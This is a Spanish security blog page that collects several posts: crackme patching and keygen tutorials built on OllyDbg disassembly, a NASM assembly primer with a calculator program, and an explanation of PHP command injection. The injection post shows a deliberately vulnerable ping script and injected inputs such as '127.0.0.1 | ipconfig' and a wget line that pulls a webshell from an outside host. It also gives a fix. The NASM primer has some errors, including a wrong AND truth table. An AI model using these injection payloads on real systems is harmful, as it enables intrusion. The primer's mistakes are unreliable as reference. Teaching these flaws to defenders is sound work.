viernes, 27 de julio de 2012

SelfKeygen Crackme 58DD2D69 C.L.S.

Este es un crackme que descargué de la lista de CracksLatinos, 12/2011.

Descripción:
Citar
This crackme is a simple algorithm.It's written in visual c++ 6.0 with mfc.
Level 1/10

Herramientas:
-OllyDBG

Donde lo descargo
-Aquí

Puesta a punto
Arrancamos con Olly, y buscamos entre las strings:


Vamos al salto al chico bueno y vemos lo siguiente:


Vemos que tenemos 4 strings, una de longitud mínima, serial olvidado, el chico bueno y chico malo.

Nos fijamos que antes pasa por una comparación. Colocamos un BP en dicho CALL, y vemos que se trae entre manos:


Vemos que ahí tenemos el serial falso y verdadero comparándose.

Afilando los dientes

Básicamete lo que haremos, es decirle al programa que de no cumplirse, realice un JMP a una zona vacia del ejecutable, con permisos, donde obtendrá el serial verdadero y lo mostrará.

Creamos un salto a una zona vacía


En ella cargamos los valores, y posteriormente hacemos un salto al CALL.


Vemos que funciona.


Nos vemos!

Guardamos los cambios a otro ejecutable, y probamos. Primero un serial falso y después el verdadero que mostró:







OverSec.org

[1/10] CrackMe Básico C, #1



Descargar

Aclaración: Keygen con todas las claves posibles.

OverSec.org

Simple Crackme C #2

Reglas:
- Keygen con todas las combinaciones posibles
- Tutorial
- Comprender algoritmo
- No parchear ni brutalizar

Otros:
- Plataforma: WIN32 x84
- Lenguaje: C & ASM
- Nivel de dificultad: Sigue siendo 1/10


Simple Crackme C #2

OverSec.org

[1/10] CrackMe Básico C #3



Descargar

OverSec.org

Arbitary Code Execution / RCE

Explicación

Se trata de ejecutar código arbitrario a nivel S.O.

Supongamos que tenemos una página Web, con algún software a nivel S.O. para alguna tarea, y le pasamos los parámetros adecuados por POST para hacer la llamada via system... Podemos manipular la instrucción con dos clicks

Ahora razonemos:
<?php
$val "bin.exe $_POST["param"]";system($val);?>

Podemos manipular algo, y con eso basta para provocar algo. Más adelante veremos como.

Código vulnerable
<?phpif(!isset($_POST["IP"]))
{ ?>
 <form action="ping.php" method="POST">
 IP: <input name="IP"><br>
 <input type="submit" value="Ping">
 </form>
 <?php} else { system("ping ".$_POST["IP"]);
}?>

Primer fallo, Web. No limpiar ni revisar la IP, junto a una función tan peligrosa como system (Creedme, hay increibles sorpresas con PHP...)

Segundo fallo, la forma del S.O. de concatenar instrucciones.

Ataque

Este ejemplo está tratado en Windows, aunque funciona igual bajo Linux.

Si vamos a la consola de WinBug, Windows para otros, vemos que podemos concatenar comandos de la siguiente forma:
Com1 | Com2 | Com3 | ...
>>>>>>>>echo xD > xd.txt | ping localhost

Pinging yomismo-PC [::1] with 32 bytes of data:
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms

Ping statistics for ::1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

>>>>>>>>type xd.txt
xD

Tenemos una instrucción que modificar... ¿Recuerdas? ¿Y si probamos?

Modifiquemos la dirección IP enviada con Live HTTP Headers, Tamper Data o similares vía POST, para concatenar un nuevo comando...

IP: 127.0.0.1 | ipconfig

Como resultado, podemos ver la configuración IP del host.

Peligros

Es una de las vulnerabilidades más críticas que conozco (Reitero que las hay mucho peores), imaginemos el siguiente caso:

Webshell:
IP: 127.0.0.1 | wget http://shell.com/shell.php
Otros xD:
IP: 127.0.0.1 | nmap -sP 192.168.*.*

Solución

La solución más estúpida es la más eficaz. Limpia la variable, y observa que esta corresponda a una dirección IP válida.

Como dijo RemoteExecution (Adivinen de donde viene el nick): "Una vulnerabilidad sólo es tan limitada como tu quieras



OverSec.org

Saludos!

sábado, 14 de julio de 2012

Manual. Intruducción a NASM (Netwide Assembler)

Este es un manual que comencé a escribir hace tiempo, acerca de Netwide Assembler.


 Introducción a Netwide Assembler (NASM)
 

Actualmente, es muy difí­cil encontrar programas escritos completamente en Assembler, sin embargo, son utilizados por su portabilidad y facilidad de uso, además, al estar creado en un lenguaje de programación de nivel bajo, no tiene empaquetado ni tanta basura que puede contener otro programa creado, por ejemplo, en VB, lo que puede generar un ejecutable de apenas 2'5Kb, cuando el mismo programa, en VB, serí­a de 21Kb. Ya veremos más adelante estos datos.


¿Por qué necesitamos aprender Assembler?


-> Genera un código más rápido y pequeño que otro programa escrito en otro lenguaje de alto nivel
-> Para ciertas plataformas, los lenguajes de alta programación son ineficientes, debido a restricciones del hardware (Ej.: Sistemas embebidos)
-> Permite acceder al Hardware directamente (Ej.: Sistemas operativos)
-> Conocerás como funciona completamente un PC internamente

 
Registros


Registros de datos EAX EBX ECX EDX
Punteros de pila ESP EBP
Registros de í­ndice EDI ESI
Registros de segmento FS CS DS ES SS
EAX: También llamado acumulador
EBX: Puede ser usado como registro base de direccionamiento (por ejemplo, para apuntar a direcciones de memoria con el)
ECX: Usado como contador (ciclos, rotaciones...)
EDX: Registro de datos, a veces usado con EAX en instrucciones especiales.
Los sistemas de 32 bits, están construidos por registros de 16 bits, y estos a su vez, están divididos en subsegmentos de 8 bits, que a su vez, están formados por dos códigos hexadecimales, de 4 bits cada uno (Cada bit es un impulso eléctrico, positivo (1) o negativo (2)). La siguiente tabla muestra un ejemplo:




edx.png


-No hay forma de acceder a los 16 bits superiores.

Estas direcciones requieren un número de 20 bits, el cual, no cabrá en un registro de 16 bits. Desde la llegada de Intel, se usaban 2 valores de 16 bits (32 bit) para determinar una dirección. Los valores del seleccionador deben estar en registros de segmento, y el segundo valor de 16 bits, es el desplazamiento (Offset). Se puede obtener la dirección mediante la siguiente formula:
16 * Seleccionador + Desplazamiento
Una curiosidad es la forma en la que la máquina obtiene un número hexadecimal a partir de uno decimal. He aquí­ la fórmula:
Decimal: 31278
31278:16 = 1954 resto= 14 (E)
1954:16 = 122 resto= 2 (2)
122:16 = 7 resto= 10 (A)
7:16 = 0 resto= 7 (7)
7A2E (Hexadecimal)
Como vemos, realiza algo similar a una conversión decimal binaria, pero usando 16 para obtener un número valido para continuar dividiendo, y el resto, el valor hexadecimal. Pueden ponerlo en práctica.


Operadores lógicos
 

Hay de 4 tipos, y se representan como en la siguiente tabla:
And: Vale 1 si ambos bites están a 1
1 | 1 = 1
1 | 0 = 0
0 | 0 = 0
0 | 1 = 1
Or: Vale 1 si algún bit vale 1
1 | 1 = 1
1 | 0 = 1
0 | 0 = 0
0 | 1 = 1
Xor: Vale 1 si los bits son diferentes, y 0 si no lo son
1 | 1 = 0
1 | 0 =1
0 | 0 =0
0 | 1 =1

Not: Invierte el valor del bit
Not 1 = 0
Not 0 = 1


Flags
 

Son registros especiales, en donde se guardan los resultados de la última operación matemática, o de comprobación. No se almacenan resultados numéricos, sino su estado.
Aunque es un registro de 16 bits, sólo algunos de ellos tienen significado. Los otros adquieren valores indeterminados, y se dice que son bits reservados; un programa no debe tocarlos, pues aunque un equipo dado puede que no los use, otros micros podrían manipularlos internamente, con resultados impredecibles.
* CF Carry Flag o indicador de acarreo. Normalmente indica si "nos llevamos algo" despues de haber sumado o restado.
* OF Overflow Flag o indicador de desbordamiento. Si después de una operación el resultado no cabe en el tamaño del registro, se pone a 1.
* ZF Zero Flag o indicador de cero. Si el resultado da 0 se pone a 1.
* SF Sign Flag o indicador de signo. Si el resultado es negativo se pone a 1.
* PF Parity Flag o indicador de paridad. Con algunas operaciones lógicas o aritméticas se pone a 1 si el resultado es par.
* AF Auxiliary Flag o indicador auxiliar. Se usa para operaciones BCD (si es que éstas valen para algo)
* DF Direction Flag o indicador de dirección. Se usa en operaciones llamadas "de cadena", indicando el sentido (ascendente o descendente) en que se recorre la memoria. (Este flag es más divertido de lo que parece.)
* IF Interrupt Flag o indicador de interrupciones. Cuando se pone a 1 se permiten las interrupciones, a 0 se ignoran; se dice que se enmascaran. Hay no obstante algunas muy especiales que pasan del flag; por ejemplo, si arrancas (físicamente, me refiero; coger con la mano y zás!) una tarjeta de RAM con el trasto encendido, la interrupción que salta -alerta roja, inmersión, inmersión, auuuuu- pasa de este flag olímpicamente (algo así no se puede pasar por alto bajo ninguna circunstancia).
* TF Trap Flag o indicador de trampa (para ejecución paso a paso, como en los depuradores; podemos olvidarnos de él)


Tipos de datos


Lo que hace diferente a Assembler frente a otros lenguajes, es que tu mismo puedes indicar el tamaño reservado a una variable. Existen 4 tipos, dependiendo del tamaño a ocupar:
-> BYTE - Reserva 8 bit - 2 ^ 8 = 256
-> WORD - Reserva 16 bit - 2 ^ 16 = 65536
-> DWORD - Double Word, reserva 32 bit - 2 ^ 32 = 4294967296
-> QWORD - Quad Word, reserva 64 bit - 2 ^ 64 = 18446744073709551616 (Únicamente usado en plataformas X64)


Juegos de instrucciones


Bueno, esta lista la obtuve de Esta URL, ya que se trata de una gran lista, dependiendo del sistema que utilices. Esta se basa en arquitecturas 80X86:
acum uno de los acumuladores: AX o AL.
reg cualquiera de los registros
segreg uno de los registros de segmento
r/m uno de los operandos generales: registro, memoria, basado, indexado o basado-indexado
inmed constante o símbolo de 8 o 16 bits
mem un operando de memoria: símbolo, etiqueta, variable.
etiqueta etiqueta de instrucciones.
src fuente en operaciones de cadena
dest destino en operaciones de cadena.

 8086/8088

AAA Ajuste ASCII para adición.
AAD Ajuste ASCII para división.
AAM Ajuste ASCII para multiplicación.
AAS Ajuste ASCII para división.
ADC acum, inmed Suma con acarreo.
r/m,inmed
r/m, reg
reg, r/m
ADD acum,inmed Suma.
r/m,inmed
r/m, reg
reg, r/m
AND acum,inmed Operación AND a nivel bit.
r/m,inmed
r/m, reg
reg, r/m
CALL etiqueta Llamado.
r/m
CBW Convierte byte apalabra.
CLC Limpia bandera de acarreo.
CLD Limpia bandera de dirección.
CLI Limpia bandera de interrupción.
CMC Complementa bandera de acarreo.
CMP acum,inmed Comparación
r/m,inmed
r/m, reg
reg, r/m
CMPS src,dest Comparación de cadenas.
CMPSB Compara cadenas byte por byte.
CMPSW Compara cadenas palabra por palabra.
CWD Convierte palabra a palabra doble.
DAA Ajuste decimal para adición.
DAS Ajuste decimal para substracción.
DEC r/m Decremento.
reg
DIV r/m División.
ESC inmed, r/m Escape con 6 bits.
HLT Alto.
IDIV r/m División entera.
IMUL r/m Mutiplicación entera.
IN accum,inmed Entrada desde puerto.
acum, DX
INC r/m Incremento.
reg
INT3 Interrupción3 codificada como un byte.
INT inmed Interrupción0-255.
INTO Interrupción en overflow.
IRET Retorno de interrupción.
JMP etiqueta Brinco incondicional.
LAHF Carga AH con las banderas.
LDS r/m Carga DS.
LEA r/m Carga la dirección.
LES r/m Carga ES.
LOCK Cierra bus.
LODS src Carga cadena.
LODSB Carga byte de cadena en AL.
LODSW Carga palabra de la cadena en AX.
LOOP etiqueta Ciclo.
LOOPE etiqueta Ciclo mientras igual.
LOOPNE etiqueta Ciclo mientras no igual.
LOOPNZ etiqueta Ciclo mientras no cero.
LOOPZ etiqueta Ciclo mientras cero.
MOV acum,mem Mueve un valor del segundo al primer operando
r/m,inmed
mem, acum
r/m, reg
r/m,segreg
reg, inmed
reg,r/m
segreg,r/m
MOVS dest, src Mueve cadena.
MOVSB Mueve cadena byte por byte.
MOVSW Mueve cadena palabra por palabra.
MUL r/m Multiplicación.
NEG r/m Niega(complemento a 2).
NOP Operación ociosa.
NOT r/m Invierte valores de bits (complemento a 1).
OR acum, inmed Operación OR a nivel de bit.
r/m,inmed
r/m, reg
reg,r/m
OUTDX, accum Salida por el puerto dado por el primer operando.
inmed, acum (inmediato de 8 bits)
POP r/m Recupera valor de la pila.
reg
segreg
POPF Recupera banderas.
PUSH r/m Guarda valor en la pila.
reg
segreg
PUSHF Guarda banderas.
RCL r/m,1 Rotación a la izquierda con acarreo.
r/m,CL
RCR r/m, 1 Rotación a la derecha con acarreo.
r/m, CL
REP Repite.
REPE Repite si igual.
REPNE Repite si no igual.
REPNZ Repite si no cero.
REPZ Repite si cero.
RET [inmed] Regresa después de recuperar bytes de la pila.
ROL r/m,1 Rotación a la izquierda.
r/m, CL
ROR r/m,1 Rotación a la derecha.
r/m, CL
SAHF Carga banderas con el valor de AH.
SAL r/m, 1 Desplazamiento aritmético a la izquierda.
r/m, CL
SAR r/m, 1 Desplazamiento aritmético a la derecha.
r/m, CL
SBB acum, inmed Substracción con acarreo.
r/m,inmed
r/m, reg
reg,r/m
SCAS dest Explora cadena.
SCASB Explora cadena para el byte en AL.
SCASW Explora cadena por la palabra en AX.
SHL r/m, 1 Desplazamiento a la izquierda.
r/m, CL
SHR r/m, 1 Desplazamiento a la derecha.
r/m, CL
STC Fija bandera de acarreo.
STD Fija bandera de dirección.
STI Fija bandera de interrupción.
STOS dest Guarda cadena.
STOSB Guarda byte en AL en la cadena.
STOSW Guarda palabra en AX en la cadena.
SUB accum, inmed Substracción.
r/m,inmed
r/m, reg
reg,r/m
TEST acum, inmed Comparación.
r/m,inmed
r/m, reg
reg,r/m
WAIT Aguarda.
XCHG acum, reg Intercambio.
r/m,inmed
r/m, reg
reg,r/m
XLAT Traduce.
XOR acum, reg Operación XOR a nivel bit.
r/m,inmed
r/m, reg
reg,r/m

8087

F2XM1 Calcula 2x-1.
FABS Toma valor absoluto del tope de la pila.
FADD mem Suma real.
FADD ST,ST(i) Suma real desde la pila.
FADD ST(i),ST Suma real a la pila.
FADDP ST(i), ST Suma real y saca de pila.
FBLD mem Carga un decimal empacado de 10 bytes en lapila.
FBSTP mem Almacena un decimal empacado de 10 bytes y saca de pila.
FCHS Cambia signo del valor en el tope de la pila.
FCLEX Borra las excepciones después de un WAIT.
FCOM Compara real.
FCOM ST Compara real con el tope de la pila.
FCOM ST(i) Compara real con la pila.
FCOMP Compara real y saca de pila.
FCOMP ST Compara real con el tope dela pila y saca de pila.
FCOMP ST(i) Compara real con el tope de la pila y saca.
FCOMPP Compara real y saca dos valores de la pila.
FDECSTP Decrementa el apuntador de la pila.
FDISI Deshabilita las interrupciones después de un WAIT.
FDIV mem División real.
FDIV ST,ST(i) División real desde la pila.
FDIV ST(i), ST División real en la pila.
FDIVPST(i), ST División real sacando valor de la pila.
FDIVR División real invertida.
FDIVR mem División real invertida desde memoria.
FDIVR ST, ST(i) División real invertida desde la pila.
FDIVR ST(i), ST División real invertida desde la pila.
FDIVRPST(i), ST División con un real invertido y sacando valor de la pila.
FENI Habilita interrupciones después de un WAIT.
FFREE Libera elemento dela pila.
FIADD mem Suma entera de un número de2 ó 4 bytes.
FICOM mem Compara enteros de 2 ó 4 bytes y saca de la pila.
FICOMP mem Compara entero de 2 ó4 bytes y saca de pila.
FIDIV mem División entera.
FDIVR mem División entera invertida.
FILD mem Carga un entero de 2, 4 u 8 bytes en la pila.
FIMUL mem Multiplicación entera de 2 ó 4 bytes.
FINCSTP Incrementa el apuntador de la pila.
FINIT Inicializa el procesador después de WAIT.
FIST mem Almacena entero de 2 ó 4 bytes.
FISTP mem Almacena entero de 2, 4 u 8 bytes y saca de la pila.
FISUB mem Resta entero de 2 ó 4 bytes.
FISUBR mem Resta entera de 2 ó 4 bytes invertida.
FLD mem Carga real de 4, 8 ó 10 bytes en la pila.
FLD1 Pone +1.0 en el tope de la pila.
FLDCW mem Carga la palabra de control.
FLDENV mem Carga entorno 8087 (14 bytes).
FLDL2E Cargalog2 e en el tope dela pila.
FLDL2T Cargalog2 10en el tope de la pila.
FLDLG2 Cargalog102 en el tope de la pila.
FLDLN2 Cargaloge2 en el tope de la pila.
FLDPI Carga p en el tope dela pila.
FLDZ Carga +0.0 en el tope de la pila.
FMUL Multiplicación real.
MUL mem Multiplicación real desde memoria.
FMUL ST, ST(i) Multiplicación real desde pila.
FMUL ST(i), ST Multiplicación real a la pila.
FMULP ST, ST(i) Multiplicación real y saca de la pila.
FNCLEX Borra excepciones sin WAIT.
FNDISI Inhabilita interrupciones sin WAIT.
FNENI Habilita interrupciones sin WAIT.
FNINIT Inicializa procesador sin WAIT.
FNOP Operación nula.
FNSAVE mem Salva estado 8087 (94 bytes) sin WAIT.
FNSTCW mem Almacena la palabra de control sin WAIT.
FNSTENV mem Guarda el entorno 8087 sin WAIT.
FNSTSW mem Almacena el estado8087 sin WAIT.
FPATAN Función arcotangente parcial.
FPREM Residuo parcial.
FPTAN Función tangente parcial.
FRNDINT Redondea a entero
FRSTOR mem Restablece estado8087 (94 bytes)
FSAVE mem Conserva el estado8087 (94 bytes).
FSCALE Escala
FSQRT Raíz cuadrada
FST Almacena real.
FST ST Almacena real desde el tope de la pila.
FST ST(i) Almacena real desde lapila.
FSTCW mem Almacena palabra de control con WAIT.
FSTENV mem Guarda el entorno 8087 después de WAIT.
FSTP mem Guarda real de 4, 8 ó 10 bytes y saca de la pila.
FSTSW mem Almacena la palabra de estado depués de WAIT.
FSUB Substracción real.
FSUB mem Substracción real desde memora.
FSUB ST, ST(i) Substracción real desde la pila.
FSUB ST(i), ST Substracción real a la pila.
FSUBPST, ST(i) Substrae real y saca de pila.
FSUBR Substracción real invertida.
FSUBR mem Substracción real invertida desde memoria.
FSUBR ST,ST(i) Substracción real invertida desde la pila.
FSUBR ST(i), ST Substracción real invertida a la pila.
FSUBRPST(i), ST Substracción real invertida a la pila y saca.
FTST Prueba el tope dela pila.
FWAIT Aguarda que la última operación 8087 termine.
FXAM Examina el elemento del tope de la pila.
FXCH Intercambia contenido de los elementos de la pila.
FFREEST Intercambia el elemento del tope de la pila.
FFREEST(i) Intercambia el elemento del tope de la pila y el i-ésimo elemento.
FXTRACT Extrae el exponente y significando.
FYL2X Calcula Y log2 X.
FYL2PI Calcula Y log2 (x+1)
80186/80188/80286 (modo no protegido)
BOUND reg, mem Detecta valor fuera de rango.
ENTER inmed16, inmed8 Hace elemento en la pila para llamada a procedimiento.
IMUL reg, inmed Multiplicación entera.
reg, r/m,inmed
INS mem, DX Entrada de cadena desde el puerto DX.
INSB mem,DX Entrada de cadena de bytes desde el puerto DX.
INSW mem DX Entrada de cadena de palabras desde el puerto DX.
LEAVE Deja procedimiento.
OUTS DX, mem Salida de cadena de bytes o palabras al puerto DX.
OUTSBDX, mem Salida de cadena de bytes al puerto DX.
OUTSW DX, mem Salida de cadena de palabras al puerto DX.
POPA Saca todos los registros de la pila.
PUSH inmed Introduce a la pila
PUSHA Introduce todos los registros.
RCL r/m, inmed Rotación a la izquierda con acarreo
RCR r/m, inmed Rotación a la derecha con acarreo.
ROL r/m, inmed Rotación a la izquierda.
ROR r/m, inmed Rotación a la derecha.
SAL r/m, inmed Desplazamiento aritmético a la izquierda.
SAR r/m, inmed Desplazamiento aritmético a la derecha.
SHL r/m, inmed Desplazamiento a la izquierda.
SHR r/m, inmed Desplazamiento a la derecha.

80286 (modo protegido)

ARPL mem, reg Ajusta petición de nivel de privilegio.
CLTS Limpia bandera de conmutación de tareas.
LAR reg, mem Carga derechos de acceso.
LGDT mem Carga la tabla de descriptores globales (8 bytes).
LIDT mem Carga tabla de descriptores de interrupciones (8 bytes).
LLDT mem Carga la tabla de descriptores locales.
LMSW mem Carga la palabra de estado.
LSL reg, mem Carga el límite del segmento.
LTR mem Carga registro de tareas.
SGDT mem Guarda la tabla de descriptores locales (8 bytes).
SIDT mem Guarda tabla de descriptores de interrupciones (8 bytes).
SMSW mem Guarda la palabra de estado.
STR mem Guarda registro de tareas.
VERR mem Verifica acceso de lectura.
VERW mem Verifica acceso de escritura.
80287
FSETPM Fija modo protegido.
FSTSWAX Almacena palabra de estado en AX (aguarda).
FNSTSWAX Almacena palabra de estado en AX (no aguarda).


Moviendo movimientos


MOV destino, origen
Esta función trata el intercambio entre registros, ya sean valores o direcciones. Pongamos un ejemplo:

MOV EBX, 1
MOV EAX, EBX

Estamos enviando el valor 1 a EBX, y este pasaría a EAX. Recordemos que un registro está compuesto por 32 bit, pero en este caso únicamente utilizamos 4 bit, por lo que utilizaríamos únicamente los últimos 4 bit, es decir, BL y AL.
¿Pero no dijiste que podrías mover un valor o una dirección? Así es.
Supongamos por un momento, que tenemos una direccion en memoria, en el registro EBX, y queremos pasarlo a EAX... Hariamos lo mismo, ya que en el ejemplo anterior, pasamos la dirección de 1 a EAX. Si no queremos esto, podemos pasar únicamente el valor, en lugar de la dirección de la siguiente manera:

MOV EAX, dowrd [EBX]

Le estaríamos indicando que pasaremos un valor de tamaño DWORD a EAX, y ese valor es el que estará presente en EBX.

Instrucción LEA
 

No, no te vamos a pedir que te pongas a leer... De momento. Recordando el caso de MOV... ¿Y si queremos un puntero? Fácil. La instrucción LEA se encarga de ello. Como vemos, la sintaxis es sencilla:

LEA destino, origen

Supongamos que tenemos un valor almacenado en EDX, y queremos un offset en EAX, lo haríamos de la siguiente forma:
LEA EDX, [EAX]

De esta forma, indicaríamos que pasaremos el offset (LEA) a EDX, residente en EAX


Instrucciones JMP y CALL

Estas instrucciones son las encargadas de desviar el programa a una zona determinada. La diferencia entre JMP y CALL, es que CALL realiza un salto a una subrutina con retorno, mientras que JMP realiza un salto dentro del segmento.
Su sintaxis es:

JMP destino
CALL destino
 
Básicamente, la principal diferencia entre JMP y CALL, es que JMP ejecuta un salto a una línea de código, y CALL entra en una subrutina.


Comparaciones


JB o JNAE: Salta si CF está activada.
Objetivo: Saltar si la última comparación realizada con
números naturales da menor.
JG o JNLE: Salta si ZF es cero o si OF y SF son iguales.
Objetivo: Saltar si la última comparación realizada con
números enteros da mayor.
JL o JNGE: Saltar si SF es diferente a OF
Objetivo: Saltar si la última comparación realizada con
números enteros da menor.
JC: Saltar si CF está prendida
Objetivo: Saltar si hay acarreo
JO: Saltar si OF está prendido
Objetivo: Saltar si hay desbordamiento
JP: Saltar si PF está prendido
Objetivo: Saltar si hay paridad
JS: Saltar si SF está prendido
Objetivo: Saltar si es negativo
JNE o JNZ: Comportamiento inverso a JE o JZ
JNA o JBE: Comportamiento inverso a JA o JNBE
JNB o JAE: Comportamiento inverso a JB o JNAE
JNG o JLE: Comportamiento inverso a JG o JNLE
JNL o JGE: Comportamiento inverso a JL o JNGE
JNC: Comportamiento inverso a JC
JNO: Comportamiento inverso a JO
JNP o JPO: Comportamiento inverso a JP
JNS: Comportamiento inverso a JS


Algunas operaciones aritméticas
 

Suma:

MOV EAX,10
MOV EDX,20
ADD EAX,EDX
Resta:

MOV EAX,20
MOV EDX,10
SUB EAX,EDX
Multiplicación con signo:

MOV EAX,10
MOV EDX,20
IMUL EAX,EDX
División sin signo:

MOV AX,20
MOV BL,4
DIV BL
Ejemplo de una calculadora simple en NASM:
global main
extern printf
extern scanf
extern exit

segment .data
sVal1 DB `Entero 1: \0`
sVal2 DB `Entero 2: \0`
sTOTAL DB `Resultado: %i\n\0`
Ftoi DB `%i\0`
sMenu DB `@@@@@@@@@@@@@@@@@@@@@@\n@ @\n@ @\n@ Calculadora V1 ASM @\n@ @\n@ @\n@@@@@@@@@@@@@@@@@@@@@@\n\n1.- Suma\n2.- Resta\n3.- Multiplicación\n4.- División\n\nOpción:\n\0`
sMal DB `Opcion incorrecta\n\0`

segment .bss
NUM1 RESB 4
NUM2 RESB 4
Menu RESB 4

segment .text
main:
PUSH EBP
MOV EBP,ESP
SUB ESP,4
MOV [ESP],dword sMenu
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword Menu
CALL scanf

CMP dword [Menu],4

JA optMal
CMP dword [Menu],1
JE Suma
CMP dword [Menu],2
JE Resta
CMP dword [Menu],3
JE Multip
CMP dword [Menu],4
JE Divis
CALL exit
optMal:
MOV [ESP],dword sMal
CALL printf
JMP main
Suma:
MOV [ESP],dword sVal1
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM1
CALL scanf

MOV [ESP],dword sVal2
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM2
CALL scanf

MOV EAX,dword [NUM1]
MOV EDX,dword [NUM2]
ADD EAX,EDX
JMP Resultado
Resta:
MOV [ESP],dword sVal1
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM1
CALL scanf

MOV [ESP],dword sVal2
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM2
CALL scanf

MOV EAX,dword [NUM1]
MOV EDX,dword [NUM2]
SUB EAX,EDX
JMP Resultado
Multip:
MOV [ESP],dword sVal1
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM1
CALL scanf

MOV [ESP],dword sVal2
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM2
CALL scanf

MOV EAX,dword [NUM1]
MOV EDX,dword [NUM2]
IMUL EAX,EDX
JMP Resultado
Divis:
MOV [ESP],dword sVal1
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM1
CALL scanf

MOV [ESP],dword sVal2
CALL printf
MOV [ESP],dword Ftoi
MOV [ESP+4],dword NUM2
CALL scanf

MOV AX,word [NUM1]
MOV DL,byte [NUM2]
DIV DL
JMP Resultado
Resultado:
PUSH EAX
PUSH sTOTAL
CALL printf
LEAVE
RET
Compilación en Windows:
nasm -f win32 -Wall --prefix _ Calc.ASM
gcc -o Calc.exe Calc.obj
Compilación en Linux:
nasm -f elf Calc.ASM
gcc -o Calc Calc.o
Fuente: Yo-Mismo (Oversec.org)
Saludos

domingo, 1 de julio de 2012

[Tutorial] Keygen CrackMe Mr.Blood

Lo tenía pendiente desde hace algún tiempo...


 
Revisión


Lo primero es obtener el crackme, pueden descargarlo desde Aquí.

Lo primero que hice fué dar una revisión rápida al crackme y al fichero data. No muestra más que un código de 8 bytes.


 
Análisis

Decidido arranco el Crackme, y veo:
 
00401290  /$  55            PUSH EBP
00401291  |.  89E5          MOV EBP,ESP
00401293  |.  53            PUSH EBX
00401294  |.  81EC 84000000 SUB ESP,84
0040129A  |.  83E4 F0       AND ESP,FFFFFFF0
0040129D  |.  B8 00000000   MOV EAX,0
004012A2  |.  83C0 0F       ADD EAX,0F
004012A5  |.  83C0 0F       ADD EAX,0F
004012A8  |.  C1E8 04       SHR EAX,4
004012AB  |.  C1E0 04       SHL EAX,4
004012AE  |.  8945 A4       MOV [LOCAL.23],EAX
004012B1  |.  8B45 A4       MOV EAX,[LOCAL.23]
004012B4  |.  E8 87060000   CALL Crackme.00401940
004012B9  |.  E8 22030000   CALL Crackme.004015E0
004012BE  |.  C645 EF 00    MOV BYTE PTR SS:[EBP-11],0               ; |
004012C2  |.  C74424 04 003>MOV DWORD PTR SS:[ESP+4],Crackme.0040300>; |
004012CA  |.  C70424 023040>MOV DWORD PTR SS:[ESP],Crackme.00403002  ; |ASCII "data"
004012D1  |.  E8 AA070000   CALL                  ; \fopen
004012D6  |.  8945 B4       MOV [LOCAL.19],EAX
004012D9  |.  C745 E8 00000>MOV [LOCAL.6],0
004012E0  |>  837D E8 01    /CMP [LOCAL.6],1
004012E4  |.  7F 39         |JG SHORT Crackme.0040131F
004012E6  |.  C745 E4 00000>|MOV [LOCAL.7],0
004012ED  |>  837D E4 03    |/CMP [LOCAL.7],3                        ; |
004012F1  |.  7F 25         ||JG SHORT Crackme.00401318              ; |
004012F3  |.  8B45 E8       ||MOV EAX,[LOCAL.6]                      ; |
004012F6  |.  C1E0 02       ||SHL EAX,2                              ; |
004012F9  |.  0345 E4       ||ADD EAX,[LOCAL.7]                      ; |
004012FC  |.  8D55 F8       ||LEA EDX,[LOCAL.2]                      ; |
004012FF  |.  01D0          ||ADD EAX,EDX                            ; |
00401301  |.  8D58 F8       ||LEA EBX,DWORD PTR DS:[EAX-8]           ; |
00401304  |.  8B45 B4       ||MOV EAX,[LOCAL.19]                     ; |
00401307  |.  890424        ||MOV DWORD PTR SS:[ESP],EAX             ; |
0040130A  |.  E8 61070000   ||CALL                 ; \getc
0040130F  |.  8803          ||MOV BYTE PTR DS:[EBX],AL
00401311  |.  8D45 E4       ||LEA EAX,[LOCAL.7]
00401314  |.  FF00          ||INC DWORD PTR DS:[EAX]
00401316  |.^ EB D5         |\JMP SHORT Crackme.004012ED
00401318  |>  8D45 E8       |LEA EAX,[LOCAL.6]
0040131B  |.  FF00          |INC DWORD PTR DS:[EAX]
0040131D  |.^ EB C1         \JMP SHORT Crackme.004012E0
0040131F  |>  8B45 B4       MOV EAX,[LOCAL.19]                       ; |
00401322  |.  890424        MOV DWORD PTR SS:[ESP],EAX               ; |#Dirección de stack donde almacena la recogida
00401325  |.  E8 36070000   CALL                 ; \fclose

En mi caso, es almacenado en 0022FF38.


 
Profundizando


Si continuo traceando...

0040132A  |.  C745 E4 00000>MOV [LOCAL.7],0
00401331  |>  837D E4 03    /CMP [LOCAL.7],3
00401335  |.  7F 2A         |JG SHORT Crackme.00401361
00401337  |.  8B4D E4       |MOV ECX,[LOCAL.7]
0040133A  |.  8D45 F8       |LEA EAX,[LOCAL.2]
0040133D  |.  0345 E4       |ADD EAX,[LOCAL.7]
00401340  |.  83E8 08       |SUB EAX,8
00401343  |.  0FB610        |MOVZX EDX,BYTE PTR DS:[EAX]             ;   #Movemos byte[posicionActual] (leido de antes)
00401346  |.  B8 07000000   |MOV EAX,7                               ;  EAX=7 (Len)
0040134B  |.  2B45 E4       |SUB EAX,[LOCAL.7]
0040134E  |.  0FB64428 F0   |MOVZX EAX,BYTE PTR DS:[EAX+EBP-10]      ;  movemos a eax el ultimo byte (byte[len(byte) - posicionActual])
00401353  |.  8D0402        |LEA EAX,DWORD PTR DS:[EDX+EAX]
00401356  |.  89448D C8     |MOV DWORD PTR SS:[EBP+ECX*4-38],EAX     ;  Guardamos suma de los 2 bytes en [EBP+ECX*4-38]
0040135A  |.  8D45 E4       |LEA EAX,[LOCAL.7]
0040135D  |.  FF00          |INC DWORD PTR DS:[EAX]                  ;  Siguiente
0040135F  |.^ EB D0         \JMP SHORT Crackme.00401331

